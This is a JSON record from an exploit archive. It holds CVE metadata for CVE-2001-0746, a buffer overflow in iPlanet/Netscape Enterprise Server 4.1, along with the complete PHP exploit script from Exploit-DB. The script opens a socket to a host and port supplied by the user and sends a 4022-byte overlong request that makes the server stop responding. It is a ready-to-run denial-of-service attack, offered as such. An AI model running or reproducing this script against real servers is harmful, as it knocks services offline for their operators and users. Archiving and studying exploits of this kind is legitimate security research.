{"exploit":{"id":"EDB-20853","name":"iPlanet 4.1 Web Publisher - Remote Buffer Overflow (2)","description":"iPlanet 4.1 Web Publisher - Remote Buffer Overflow (2)","cves":["CVE-2001-0746"],"author":"Gabriel Maggiotti","published":"2001-05-15","platform":"multiple","type":"dos","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20853","path":"exploits/multiple/dos/20853.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20853.php","vulnerabilities":[{"id":"CVE-2001-0746","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Web Publisher in iPlanet Web Server Enterprise Edition 4.1 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary code via a request for a long URI with (1) GETPROPERTIES, (2) GETATTRIBUTENAMES, or other methods.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0746","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0746"},"updatedAt":"2024-08-08T04:30:06.081Z","retrievedAt":"2026-11-27T08:11:59.916Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20853.png?v=2","url":"https://exploitbin.com/exploits/EDB-20853","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20853/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20853/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2732/info\n\niPlanet Webserver is an http server product offered by the Sun-Netscape Alliance.\n\nBy sending a specially crafted request (composed of at least 2000 characters) it is possible to cause a buffer overflow. This could cause the termination of the affected service, requiring a restart and enabling a remote attacker to effect a denial of service attack.\n\nIf the submitted buffer is properly structured, it may yield a remote system shell.\n\nSuccessful exploitation of this vulnerability could lead to a complete compromise of the host.\n\nNote that while only installations of iWS4.1sp3-7 on Windows NT are immediately vulnerable to this attack, all users of iWS4.1sp3-7 are advised to install the NSAPI.\n\n#!/usr/local/bin/php -q\n<?\n/*\n * Netscape Enterprise Server 4 Method and URI overflow\n *\n * By sending an invalid method or URI request of 4022 bytes Netscape\n * Enterprise Server will\n * stop responding to requests.\n *\n * Written by Gabriel Maggiotti\n */\n\n\tif( $argc!=3)\n\t{\n\techo \"usagge: $argv[0] <host> <port>\\n\";\n\treturn 1;\n\t}\n\n\n$host=$argv[1];\n$port=$argv[2];\n\n\tfor($i=0;$i<4022;$i++)\n\t\t$overflow.=\"A\";\n\n$overflow.=\" /index.htm HTTP/1.0\\n\\n\";\n\n$fp = fsockopen ($host, $port , &$errno, &$errstr, 30);\n if (!$fp) {\n     echo \"Couldn't create connection<br>\\n\";\n } else {\n\tfputs ($fp, $overflow);\n}\nfclose ($fp);\n\n?>","sha256":"51f276019b18fa1dc6157b65b555ff073172422b59a40cb1294bbee1f8e1f823","bytes":1404,"fetchedAt":"2026-11-27T08:11:56.493Z","encoding":"utf-8 (display only; download retains original bytes)"}